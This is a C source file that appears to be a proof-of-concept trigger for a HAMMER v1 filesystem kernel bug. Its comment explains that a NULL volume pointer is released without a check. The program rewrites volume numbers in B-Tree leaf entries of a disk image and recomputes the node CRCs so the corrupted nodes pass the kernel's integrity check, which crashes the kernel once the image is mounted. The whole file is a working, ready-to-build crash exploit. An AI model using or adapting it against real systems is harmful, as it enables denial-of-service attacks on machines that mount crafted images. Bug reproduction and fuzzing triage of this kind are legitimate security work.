DF-0792 / corrupt_hammer.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * DF-0792 trigger: corrupt a HAMMER v1 (vol_version <= 6) image to flip * the vol_no byte in zone-10 (large_data) B-Tree leaf entries to a value * not present in the mount (e.g. 7 in a single-volume fs). * * Why this triggers the bug: * hammer_io.c::hammer_io_direct_read (and _indirect_read, _direct_write) * vol_no = HAMMER_VOL_DECODE(zone2_offset); * volume = hammer_get_volume(hmp, vol_no, &error); <-- returns NULL w/ENOENT * if (error == 0 && ...) error = EIO; <-- guarded * if (error == 0) { ... } <-- guarded * hammer_rel_volume(volume, 0); <-- UNCONDITIONAL NULL deref * * hammer_ondisk.c::hammer_rel_volume immediately derefs &volume->io.lock * via hammer_rel_interlock -> panic (NULL pointer fetch in kernel mode). * * The B-Tree node CRC is recomputed (crc32 for vol_version <= 6) so the * kernel's hammer_crc_test_btree() check (hammer_ondisk.c:1315) does not * reject the node before reaching the buggy call site. Data CRCs are over * the *data*, not the leaf entry, so changing data_offset's vol_no byte * does not invalidate any data_crc. * * Build: cc -O2 -o corrupt_hammer corrupt_hammer.c * Run: ./corrupt_hammer <image> [bad_vol_no] (bad_vol_no default 7) */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <inttypes.h> /* HAMMER v<=6 uses crc32 (Ethernet/zlib polynomial 0xedb88320). */ static uint32_t crc32_table[256]; static void crc32_init(void) { for (uint32_t i = 0; i < 256; i++) { uint32_t c = i; for (int k = 0; k < 8; k++) c = (c & 1) ? (0xedb88320 ^ (c >> 1)) : (c >> 1); crc32_table[i] = c; } } static uint32_t crc32_calc(const void *buf, size_t size) { const uint8_t *p = buf; uint32_t crc = 0xffffffff; for (size_t i = 0; i < size; i++) crc = crc32_table[(crc ^ p[i]) & 0xff] ^ (crc >> 8); return crc ^ 0xffffffff; } #define NODE_SIZE 4096 #define HDR_SIZE 64 #define ELM_SIZE 64 int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <image> [bad_vol_no]\n", argv[0]); return 2; } const char *img = argv[1]; int bad_vol = (argc > 2) ? atoi(argv[2]) : 7; crc32_init(); int fd = open(img, O_RDWR); if (fd < 0) { perror("open"); return 1; } off_t img_size = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); fprintf(stderr, "image size = %lld bytes (%lld MiB)\n", (long long)img_size, (long long)img_size >> 20); uint8_t node[NODE_SIZE]; int modified_nodes = 0, modified_entries = 0; for (off_t off = 0; off + NODE_SIZE <= img_size; off += NODE_SIZE) { if (pread(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pread"); break; } uint32_t crc = 0; memcpy(&crc, node, 4); uint32_t count = 0; memcpy(&count, node + 16, 4); uint8_t ntype = node[20]; /* only valid leaf nodes ('L' = 0x4c) with sane count */ if (ntype != 0x4c) continue; if (count == 0 || count > 63) continue; /* verify node CRC: crc32 over [4 .. NODE_SIZE] */ uint32_t good = crc32_calc(node + 4, NODE_SIZE - 4); if (crc != good) continue; int node_changed = 0; for (uint32_t i = 0; i < count; i++) { uint32_t eo = HDR_SIZE + i * ELM_SIZE; /* leaf element: base(40) create_ts(4) delete_ts(4) data_offset(8) data_len(4) data_crc(4) */ uint64_t data_offset = 0; memcpy(&data_offset, node + eo + 48, 8); int32_t data_len = 0; memcpy(&data_len, node + eo + 56, 4); uint32_t zone = (data_offset >> 60) & 0xf; uint32_t vol_no = (data_offset >> 52) & 0xff; if (zone == 10 && data_len >= 16384 && vol_no == 0) { uint64_t new_off = (data_offset & ~((uint64_t)0xff << 52)) | ((uint64_t)bad_vol << 52); fprintf(stderr, " node@0x%jx elm[%u] dataoff=0x%016" PRIx64 " -> 0x%016" PRIx64 " (vol_no 0 -> %d)\n", (uintmax_t)off, i, data_offset, new_off, bad_vol); memcpy(node + eo + 48, &new_off, 8); node_changed = 1; modified_entries++; } } if (node_changed) { uint32_t new_crc = crc32_calc(node + 4, NODE_SIZE - 4); memcpy(node, &new_crc, 4); if (pwrite(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pwrite"); } modified_nodes++; } } close(fd); fprintf(stderr, "modified %d entries in %d nodes; bad vol_no = %d\n", modified_entries, modified_nodes, bad_vol); return 0; } |